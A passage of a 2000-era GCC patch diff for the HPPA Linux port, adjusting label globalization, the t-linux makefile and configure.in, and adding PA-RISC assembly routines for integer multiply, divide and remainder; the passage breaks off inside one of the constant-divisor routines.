+   ASM_DECLARE_FUNCTION_NAME from <elfos.h>, which uses
+   ASM_GLOBALIZE_NAME, which needs to be defined here.
+
+   This is another 'mix-in' problem, of course.
+
+   Previously in the puffin tree we had hacked <pa/pa.h> to use .globl
+   and to globalize all labels.  This may be the Right Thing to do,
+   but I don't know if it will break the SOM stuff (which arguably
+   should be overriding it anyway).  Expect the way this is handled to
+   change in the future.  For now I just want glibc to work again.
+
+   - dhd@linuxcare.com, 2000-07-07 */
+
+#undef ASM_GLOBALIZE_LABEL
+#define ASM_GLOBALIZE_LABEL(FILE, NAME)					\
+	(fputs (".globl ", FILE), assemble_name (FILE, NAME), fputs ("\n", FILE))
diff --exclude=CVS --exclude=configure -urN gcc-sourceware/gcc/config/pa/t-linux gcc-puffin/gcc/config/pa/t-linux
--- gcc-sourceware/gcc/config/pa/t-linux	Fri Jul  7 19:14:50 2000
+++ gcc-puffin/gcc/config/pa/t-linux	Thu Jul  6 17:08:59 2000
@@ -1 +1,12 @@
+CROSS_LIBGCC1 = libgcc1-asm.a
+LIB1ASMSRC = pa/lib1linux.asm
+LIB1ASMFUNCS = _divI _divU _remI _remU _multiply
+
 ADA_CFLAGS=-mdisable-indexing
+LIB2FUNCS_EXTRA=lib2funcs-elf.S
+
+lib2funcs-elf.S: $(srcdir)/config/pa/lib2funcs-elf.S
+	rm -f lib2funcs-elf.S
+	cp $(srcdir)/config/pa/lib2funcs-elf.S .
+
+TARGET_LIBGCC2_CFLAGS = 
diff --exclude=CVS --exclude=configure -urN gcc-sourceware/gcc/configure.in gcc-puffin/gcc/configure.in
--- gcc-sourceware/gcc/configure.in	Fri Jul  7 19:12:24 2000
+++ gcc-puffin/gcc/configure.in	Fri Jul  7 18:30:34 2000
@@ -992,12 +992,13 @@
 	h8300-*-*)
 		float_format=i32
 		;;
-	hppa*-*-linux*)
+	hppa1.1-*-linux*)
 		target_cpu_default="(MASK_PA_11 | MASK_GAS | MASK_JUMP_IN_DELAY)"
-		tm_file="${tm_file} pa/elf.h linux.h pa/pa-linux.h"
-		tmake_file="t-linux pa/t-linux"
-		extra_parts="crtbegin.o crtend.o"
-		xmake_file=none
+		tm_file="${tm_file} pa/pa32-regs.h pa/pa-linux.h"
+		xm_file=pa/xm-linux.h
+		tmake_file=pa/t-linux
+		xmake_file=x-linux
+		extra_parts="crtbegin.o crtbeginS.o crtend.o crtendS.o"
 		gas=yes gnu_ld=yes
  		if test x$enable_threads = xyes; then
  			thread_file='posix'
diff --exclude=CVS --exclude=configure -urN gcc-sourceware/gcc/config/pa/lib1linux.asm gcc-puffin/gcc/config/pa/lib1linux.asm
--- gcc-sourceware/gcc/config/pa/lib1linux.asm	Wed Dec 31 19:00:00 1969
+++ gcc-puffin/gcc/config/pa/lib1linux.asm	Thu Jul  6 17:07:01 2000
@@ -0,0 +1,1117 @@
+/*  Low level integer divide, multiply, remainder, etc routines for the HPPA.
+ *  Copyright (C) 1995 Free Software Foundation, Inc.
+
+ *  This file is part of GNU CC.
+
+ *  GNU CC is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2, or (at your option)
+ *  any later version.
+
+ * In addition to the permissions in the GNU General Public License, the
+ * Free Software Foundation gives you unlimited permission to link the
+ * compiled version of this file with other programs, and to distribute
+ * those programs without any restriction coming from the use of this
+ * file.  (The General Public License restrictions do apply in other
+ * respects; for example, they cover modification of the file, and
+ * distribution when not linked into another program.)
+
+ *  GNU CC is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+
+ *  You should have received a copy of the GNU General Public License
+ *  along with GNU CC; see the file COPYING.  If not, write to
+ *  the Free Software Foundation, 59 Temple Place - Suite 330,
+ *  Boston, MA 02111-1307, USA.
+ */
+
+#ifdef L_dyncall
+	.text
+	.export	$$dyncall
+$$dyncall:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	bb,>=,n	%r22,30,L$1		;! branch if not plabel address
+	depi	0,31,2,%r22		;! clear the two least significant bits
+	ldw	4(%sr0,%r22),%r19	;! load new LTP value
+	ldw	0(%sr0,%r22),%r22	;! load address of target
+L$1	ldsid	(%sr0,%r22),%r1		;! get the "space ident" selected by r22
+	mtsp	%r1,%sr0		;! move that space identifier into sr0
+	be	0(%sr0,%r22)		;! branch to the real target
+	stw	%r2,-24(%sr0,%r30)	;! save return address into frame marker
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_multiply
+#define	op0	%r26
+#define	op1	%r25
+#define res	%r29
+#define ret	%r31
+#define tmp	%r1
+	.text
+	.align 4
+	.export	$$mulU
+	.export	$$mulI
+$$mulU:
+$$mulI:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	addi,tr		0,%r0,res	;! clear out res, skip next insn
+L$loop:	zdep		op1,26,27,op1	;! shift up op1 by 5
+L$lo:	zdep		op0,30,5,tmp	;! extract next 5 bits and shift up
+	blr		tmp,%r0
+	extru		op0,26,27,op0	;! shift down op0 by 5
+L$0:	comib,<>	0,op0,L$lo
+	zdep		op1,26,27,op1	;! shift up op1 by 5
+	bv		%r0(ret)
+	nop
+L$1:	b		L$loop
+	addl		op1,res,res
+	nop
+	nop
+L$2:	b		L$loop
+	sh1addl		op1,res,res
+	nop
+	nop
+L$3:	sh1addl		op1,op1,tmp	;! 3x
+	b		L$loop
+	addl		tmp,res,res
+	nop
+L$4:	b		L$loop
+	sh2addl		op1,res,res
+	nop
+	nop
+L$5:	sh2addl		op1,op1,tmp	;! 5x
+	b		L$loop
+	addl		tmp,res,res
+	nop
+L$6:	sh1addl		op1,op1,tmp	;! 3x
+	b		L$loop
+	sh1addl		tmp,res,res
+	nop
+L$7:	zdep		op1,28,29,tmp	;! 8x
+	sub		tmp,op1,tmp	;! 7x
+	b		L$loop
+	addl		tmp,res,res
+L$8:	b		L$loop
+	sh3addl		op1,res,res
+	nop
+	nop
+L$9:	sh3addl		op1,op1,tmp	;! 9x
+	b		L$loop
+	addl		tmp,res,res
+	nop
+L$10:	sh2addl		op1,op1,tmp	;! 5x
+	b		L$loop
+	sh1addl		tmp,res,res
+	nop
+L$11:	sh2addl		op1,op1,tmp	;! 5x
+	sh1addl		tmp,op1,tmp	;! 11x
+	b		L$loop
+	addl		tmp,res,res
+L$12:	sh1addl		op1,op1,tmp	;! 3x
+	b		L$loop
+	sh2addl		tmp,res,res
+	nop
+L$13:	sh1addl		op1,op1,tmp	;! 3x
+	sh2addl		tmp,op1,tmp	;! 13x
+	b		L$loop
+	addl		tmp,res,res
+L$14:	zdep		op1,28,29,tmp	;! 8x
+	sub		tmp,op1,tmp	;! 7x
+	b		L$loop
+	sh1addl		tmp,res,res
+L$15:	zdep		op1,27,28,tmp	;! 16x
+	sub		tmp,op1,tmp	;! 15x
+	b		L$loop
+	addl		tmp,res,res
+L$16:	zdep		op1,27,28,tmp	;! 16x
+	b		L$loop
+	addl		tmp,res,res
+	nop
+L$17:	zdep		op1,27,28,tmp	;! 16x
+	addl		tmp,op1,tmp	;! 17x
+	b		L$loop
+	addl		tmp,res,res
+L$18:	sh3addl		op1,op1,tmp	;! 9x
+	b		L$loop
+	sh1addl		tmp,res,res
+	nop
+L$19:	sh3addl		op1,op1,tmp	;! 9x
+	sh1addl		tmp,op1,tmp	;! 19x
+	b		L$loop
+	addl		tmp,res,res
+L$20:	sh2addl		op1,op1,tmp	;! 5x
+	b		L$loop
+	sh2addl		tmp,res,res
+	nop
+L$21:	sh2addl		op1,op1,tmp	;! 5x
+	sh2addl		tmp,op1,tmp	;! 21x
+	b		L$loop
+	addl		tmp,res,res
+L$22:	sh2addl		op1,op1,tmp	;! 5x
+	sh1addl		tmp,op1,tmp	;! 11x
+	b		L$loop
+	sh1addl		tmp,res,res
+L$23:	sh1addl		op1,op1,tmp	;! 3x
+	sh3addl		tmp,res,res	;! += 8x3
+	b		L$loop
+	sub		res,op1,res	;! -= x
+L$24:	sh1addl		op1,op1,tmp	;! 3x
+	b		L$loop
+	sh3addl		tmp,res,res	;! += 8x3
+	nop
+L$25:	sh2addl		op1,op1,tmp	;! 5x
+	sh2addl		tmp,tmp,tmp	;! 25x
+	b		L$loop
+	addl		tmp,res,res
+L$26:	sh1addl		op1,op1,tmp	;! 3x
+	sh2addl		tmp,op1,tmp	;! 13x
+	b		L$loop
+	sh1addl		tmp,res,res	;! += 2x13
+L$27:	sh1addl		op1,op1,tmp	;! 3x
+	sh3addl		tmp,tmp,tmp	;! 27x
+	b		L$loop
+	addl		tmp,res,res
+L$28:	zdep		op1,28,29,tmp	;! 8x
+	sub		tmp,op1,tmp	;! 7x
+	b		L$loop
+	sh2addl		tmp,res,res	;! += 4x7
+L$29:	sh1addl		op1,op1,tmp	;! 3x
+	sub		res,tmp,res	;! -= 3x
+	b		L$foo
+	zdep		op1,26,27,tmp	;! 32x
+L$30:	zdep		op1,27,28,tmp	;! 16x
+	sub		tmp,op1,tmp	;! 15x
+	b		L$loop
+	sh1addl		tmp,res,res	;! += 2x15
+L$31:	zdep		op1,26,27,tmp	;! 32x
+	sub		tmp,op1,tmp	;! 31x
+L$foo:	b		L$loop
+	addl		tmp,res,res
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_divU
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define quotient %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU
+$$divU:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	comb,<		divisor,0,L$largedivisor
+	 sub		%r0,divisor,%r1		;! clear cy as side-effect
+	ds		%r0,%r1,%r0
+	addc		dividend,dividend,dividend
+	ds		%r0,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,quotient
+	ds		%r1,divisor,%r1
+	bv		%r0(ret)
+	addc		quotient,quotient,quotient
+L$largedivisor:
+	comclr,<<	dividend,divisor,quotient
+	ldi		1,quotient
+	bv,n		%r0(ret)
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_remU
+#define dividend %r26
+#define divisor %r25
+#define quotient %r29
+#define tmp %r1
+#define ret %r31
+	.text
+	.align 4
+	.export	$$remU
+$$remU:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	comb,<		divisor,0,L$largedivisor
+	 sub		%r0,divisor,%r1		;! clear cy as side-effect
+	ds		%r0,%r1,%r0
+	addc		dividend,dividend,dividend
+	ds		%r0,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,quotient
+	ds		%r1,divisor,%r1
+	comclr,>=	%r1,%r0,%r0
+	addl		%r1,divisor,%r1
+	bv		%r0(ret)
+	copy		%r1,quotient
+L$largedivisor:
+	sub,>>=		dividend,divisor,quotient
+	copy		dividend,quotient
+	bv,n		%r0(ret)
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_divI
+#define dividend %r26
+#define divisor %r25
+#define quotient %r29
+#define tmp %r1
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divI
+$$divI:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	xor		dividend,divisor,quotient	;! result sign
+	comclr,>=	divisor,%r0,%r0			;! get absolute values
+	sub		%r0,divisor,divisor
+	comclr,>=	dividend,%r0,%r0
+	sub		%r0,dividend,dividend
+
+	comb,<		divisor,0,L$largedivisor
+	 sub		%r0,divisor,%r1		;! clear cy as side-effect
+	ds		%r0,%r1,%r0
+	addc		dividend,dividend,dividend
+	ds		%r0,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	comclr,>=	%r1,%r0,%r0
+	addl		%r1,divisor,%r1
+	comclr,>=	quotient,%r0,%r0	;! skip of no need to negate
+	sub		%r0,dividend,dividend
+	bv		%r0(ret)
+	copy		dividend,quotient
+L$largedivisor:
+	comclr,<<	dividend,divisor,quotient
+	ldi		1,quotient
+	bv,n		%r0(ret)
+	.exit
+	.procend
+#endif
+
+
+#ifdef L_remI
+#define dividend %r26
+#define divisor %r25
+#define quotient %r29
+#define tmp %r1
+#define ret %r31
+	.text
+	.align 4
+	.export	$$remI
+$$remI:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	xor		dividend,%r0,quotient		;! result sign
+	comclr,>=	divisor,%r0,%r0			;! get absolute values
+	sub		%r0,divisor,divisor
+	comclr,>=	dividend,%r0,%r0
+	sub		%r0,dividend,dividend
+
+	comb,<		divisor,0,L$largedivisor
+	 sub		%r0,divisor,%r1		;! clear cy as side-effect
+	ds		%r0,%r1,%r0
+	addc		dividend,dividend,dividend
+	ds		%r0,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	ds		%r1,divisor,%r1
+	addc		dividend,dividend,dividend
+	comclr,>=	%r1,%r0,%r0
+	addl		%r1,divisor,%r1
+	comclr,>=	quotient,%r0,%r0	;! skip of no need to negate
+	sub		%r0,%r1,%r1
+	bv		%r0(ret)
+	copy		%r1,quotient
+L$largedivisor:
+	sub,>>=		dividend,divisor,quotient
+	copy		dividend,quotient
+	bv,n		%r0(ret)
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_3) && !defined (SMALL_LIB)
+#undef L_divU_3
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_3
+$$divU_3:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh2add	%r26,%r26,%r29		;! r29 = lo(101 x r)
+	shd	%r0,%r26,30,%r1		;!  r1 = hi(100 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(101 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh1add	%r29,%r26,%r0		;!  r0 = lo(10 x r) + dividend
+	shd	%r1,%r29,31,%r29	;! r29 = hi(10 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,30,31,result
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_5) && !defined (SMALL_LIB)
+#undef L_divU_5
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_5
+$$divU_5:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh1add	%r26,%r26,%r29		;! r29 = lo(11 x r)
+	shd	%r0,%r26,31,%r1		;!  r1 = hi(10 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(11 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh2add	%r29,%r26,%r0		;!  r0 = lo(1000 x r) + dividend
+	shd	%r1,%r29,30,%r29	;! r29 = hi(1000 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,29,30,result
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_6) && !defined (SMALL_LIB)
+#undef L_divU_6
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_6
+$$divU_6:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh2add	%r26,%r26,%r29		;! r29 = lo(101 x r)
+	shd	%r0,%r26,30,%r1		;!  r1 = hi(100 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(101 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh1add	%r29,%r26,%r0		;!  r0 = lo(10 x r) + dividend
+	shd	%r1,%r29,31,%r29	;! r29 = hi(10 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,29,30,result
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_9) && !defined (SMALL_LIB)
+#undef L_divU_9
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_9
+$$divU_9:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	zdep	%r26,28,29,%r29
+	sub	%r29,%r26,%r29
+	shd	0,%r26,29,%r1
+	subb	%r1,0,%r1		/* 111 */
+
+	zdep	%r29,25,26,%r25
+	add	%r25,%r29,%r25
+	shd	%r1,%r29,26,%r29
+	addc	%r29,%r1,%r29		/* 111000111 */
+
+	sh3add	%r25,%r26,%r1
+	shd	%r29,%r25,29,%r25
+	addc	%r25,0,%r25		/* 111000111001 */
+
+	zdep	%r1,16,17,%r29
+	sub	%r29,%r1,%r29
+	shd	%r25,%r1,17,%r1
+	subb	%r1,%r25,%r1		/* 111000111000111000111000111 */
+
+	sh3add	%r29,%r26,%r0
+	shd	%r1,%r29,29,%r29
+	addc	%r29,0,%r29		/* 111000111000111000111000111001 */
+	bv	%r0(ret)
+	extru	%r29,30,31,result
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_10) && !defined (SMALL_LIB)
+#undef L_divU_10
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_10
+$$divU_10:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh1add	%r26,%r26,%r29		;! r29 = lo(11 x r)
+	shd	%r0,%r26,31,%r1		;!  r1 = hi(10 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(11 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
+	shd	%r25,%r1,16,%r1
+	addc	%r1,%r25,%r1
+;! r in r1,,r29
+	sh2add	%r29,%r26,%r0		;!  r0 = lo(1000 x r) + dividend
+	shd	%r1,%r29,30,%r29	;! r29 = hi(1000 x r)
+	addc	%r29,%r0,%r29
+	bv	%r0(ret)
+	extru	%r29,28,29,result
+	.exit
+	.procend
+#endif
+
+
+#if defined (L_divU_12) && !defined (SMALL_LIB)
+#undef L_divU_12
+#define dividend %r26
+#define divisor %r25
+#define tmp %r1
+#define result %r29
+#define ret %r31
+	.text
+	.align 4
+	.export	$$divU_12
+$$divU_12:
+	.proc
+	.callinfo	frame=0,no_calls
+	.entry
+	sh2add	%r26,%r26,%r29		;! r29 = lo(101 x r)
+	shd	%r0,%r26,30,%r1		;!  r1 = hi(100 x r)
+	addc	%r1,%r0,%r1		;!  r1 = hi(101 x r)
+;! r in r1,,r29
+	zdep	%r29,27,28,%r25		;! r25 = lo(10000 x r)
+	add	%r25,%r29,%r25		;! r25 = lo(10001 x r)
+	shd	%r1,%r29,28,%r29	;! r29 = hi(10000 x r)
+	addc	%r29,%r1,%r29		;! r29 = hi(10001 x r)
+;! r in r29,,r25
+	zdep	%r25,23,24,%r1		;!  r1 = lo(100000000 x r)
+	add	%r1,%r25,%r1		;!  r1 = lo(100000001 x r)
+	shd	%r29,%r25,24,%r25	;! r25 = hi(100000000 x r)
+	addc	%r25,%r29,%r25		;! r25 = hi(100000001 x r)
+;! r in r25,,r1
+	zdep	%r1,15,16,%r29
+	add	%r29,%r1,%r29
